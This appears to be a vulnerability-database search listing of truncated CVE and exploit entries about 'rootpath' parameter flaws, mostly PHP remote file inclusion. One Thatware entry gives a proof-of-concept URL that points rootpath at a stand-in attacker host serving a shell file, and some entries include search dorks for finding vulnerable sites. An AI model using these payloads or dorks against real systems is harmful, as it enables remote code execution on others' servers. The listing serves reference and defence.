CVE-2026-41459: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Xerte Online Toolkits versions 3.15 and earlier contain an information disclosure vulnerability that allows unauthenticated attackers to retrieve the full server-side filesystem path of the application root. Attackers can send a GET request to the /setup page to access the exposed rootpath value...

CVE-2025-11938: Deserialization of Untrusted Data

A vulnerability was found in ChurchCRM up to 5.18.0. This vulnerability affects unknown code of the file setup/routes/setup.php. Performing a manipulation of the argument DBPASSWORD/ROOTPATH/URL results in deserialization. The attack may be initiated remotely. The attack's complexity is rated as...

EUVD-2007-5149

Malware in sbrugna...

EUVD-2007-2256

Malware in sbrugna...

RedBLoG 0.5 admin/index.php root_path Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/20115/info The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the...

SAPID CMS <= 1.2.3_rc3 (rootpath) Remote Code Execution Exploit

No description provided by source. Title: SAPID CMS Multiple remote Command Execution Vulnerabilities Author: Simo64 simo64atmorxorg Discovered: 06 Aout 2006 Published : 08 Aout 2006 MorX Security Research Team http://www.morx.org Vendor : SAPID CMS Version : 123 rc3 Website :...

phpMyDirectory <= 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability

No description provided by source. Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : powered by phpmydirectory or intext:2001-2006 phpMyDirectory.com - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen,...

BCWB <= 0.99 (root_path) Remote File Include Vulnerability

No description provided by source. Title : Bcwb 0.99rootpathRemote File Include Vulnerability Author : ajann Greetz : shadow and Suskun for host : Exploit; File startup.inc.php /File Code,1 startup.inc.php Error: .. .... // Debug services include$rootpath.'include/startup/debug.inc.php';...

CVE-2012-5293: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in SAPID CMS 1.2.3 Stable allow remote attackers to execute arbitrary PHP code via a URL in the 1 GLOBALSrootpath parameter to usr/extensions/gettree.inc.php or 2 rootpath parameter to usr/extensions/getinfochannel.inc.php...

CVE-2009-4622: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in admin/adminnewsbot.php in Drunken:Golem Gaming Portal 0.5.1 alpha 2 allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter, a different vector than CVE-2007-0572...

Thatware <= 0.5.3 Multiple Remote File Include Exploit

Exploit for unknown platform in category web applications ====================================================== Thatware PoC : http://server/config.php?rootpath=http://attcker/shell.txt??? Vuln : ./thatwarepath/artlist.php line 28 PoC :...

Drunken:Golem Gaming Portal - 'admin_news_bot.php' Remote File Inclusion

Author : EA Ngel + Location : Manado - Indonesia + Situs : wwwdotmanadocodingdotnet + Contact : engelpemulaatgmaildotcom + Download Script : http://sourceforge.net/projects/drunkengolem/ / Dork : sitou timou tumou tou Bug : include $rootpath."/include/irc/phpIRC.php"; ^ 3xpl0it :...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in MeetWeb 0.8 allow remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter to 1 modules.php, 2 ManagerResource.class.php, 3 ManagerRightsResource.class.php, 4 RegForm.class.php, 5 RegResource.class.php, and 6...

CVE-2008-6066: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in MeetWeb 0.8 allow remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter to 1 modules.php, 2 ManagerResource.class.php, 3 ManagerRightsResource.class.php, 4 RegForm.class.php, 5 RegResource.class.php, and 6...

CVE-2007-6655: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in includes/function.php in Kontakt Formular 1.4 allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2003-1385: Improper Control of Generation of Code

ipchat.php in Invision Power Board 1.1.1 allows remote attackers to execute arbitrary PHP code, if registerglobals is enabled, by modifying the rootpath parameter to reference a URL on a remote web server that contains the code...

CVE-2002-2299: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in thatfile.php in Thatware 0.3 through 0.5.2 allows remote attackers to execute arbitrary PHP code via the rootpath parameter...

CVE-2002-2298: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in config.php in Thatware 0.3 through 0.5.3 allows remote attackers to execute arbitrary PHP code via the rootpath parameter...

CVE-2002-2297: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in artlist.php in Thatware 0.5.2 and 0.5.3 allows remote attackers to execute arbitrary PHP code via the rootpath parameter...

CVE-2007-5418: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in CARE2X 2G 2.2 allow remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter to 1 encopyrite.php, 2 vicopyrite.php, and 3 arcopyrite.php in language/ directories; 4 classaccess.php, 5 classdepartment.php, 6...